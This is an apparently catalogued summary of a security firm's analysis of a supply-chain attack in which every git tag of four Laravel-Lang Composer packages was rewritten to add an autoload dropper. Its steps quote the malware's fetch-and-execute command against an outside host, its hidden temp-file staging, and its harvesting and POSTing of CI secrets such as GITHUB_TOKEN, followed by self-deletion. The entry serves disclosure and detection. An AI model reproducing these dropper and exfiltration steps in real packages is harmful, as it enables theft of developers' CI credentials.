# Laravel-Lang Supply Chain Attack: Every Tag Across Multiple Composer Packages Rewritten to Steal CI Secrets

Attacker with org push access force-pushed every git tag in four Laravel-Lang Composer packages to commits adding an autoload.files dropper that exfiltrates CI secrets to flipboxstudio.info.

- Payout: Real-world hack
- Severity: critical
- Program: Laravel-Lang
- Analysis by: StepSecurity
- Disclosed: 2026-06-02
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/laravel-lang-supply-chain-attack
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-laravel-lang-supply-chain-attack
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:critical tech:ci-cd tech:github-actions tech:php technique:source-review vuln:secrets-leak

**Target:** Composer packages (laravel-lang/lang, http-statuses, actions, attributes) via GitHub tag rewrite
**Root cause:** Compromised org-wide push credential allowed force-pushing every existing git tag to a new commit that adds src/helpers.php to composer.json autoload.files, so requiring vendor/autoload.php executes the payload eagerly.
**Steps:**
1. Obtain push access to Laravel-Lang org; force-push all tags in lang, http-statuses, actions, attributes to malicious commits authored 'Your Name <you@example.com>'
2. Commit modifies only composer.json (adds `"files": ["src/helpers.php"]` to autoload) and src/helpers.php
3. helpers.php: `curl https://flipboxstudio.info/payload`, write to `/tmp/.laravel_locale/<bin2hex(random_bytes(6))>.php`, `@exec("php \"$f\" > /dev/null 2>&1 &")`; Windows branch uses WScript.Shell
4. Victim runs `composer update` or fresh install resolving a poisoned tag; `require 'vendor/autoload.php'` fires payload
5. Stage 2 drops ELF `/tmp/.<8hex>`, runs via `nohup ... &`, POSTs harvested env to `https://flipboxstudio.info/exfil`, then `rm -f` both artifacts
**How found:** StepSecurity noticed every tag across multiple repos showing creation time '1 hour ago' and identical fake author 'Your Name <you@example.com>', then diffed commits to find composer.json autoload.files addition and detonated v3.4.5 under Harden-Runner.
**Exploitation:** Any Laravel/Symfony/PHPUnit app booting vendor/autoload.php triggers the dropper; stage 2 loader reparents to init (ppid=1), harvests $GITHUB_TOKEN, $GITHUB_ENV, $RUNNER_TEMP/_runner_file_commands/, /proc/<pid>/environ, POSTs to C2, self-deletes within ~3s.
**Escalation:** Tag rewrite (not new version) poisons all version ranges (^3.4, ~2.0, *); org-wide credential suggests more repos may be hit.
**Insight:** Monitor for mass tag-creation-time anomalies and commits unreachable from any branch ('does not belong to any branch') — force-pushed tag targets are invisible to normal version-diff review but poison every semver range.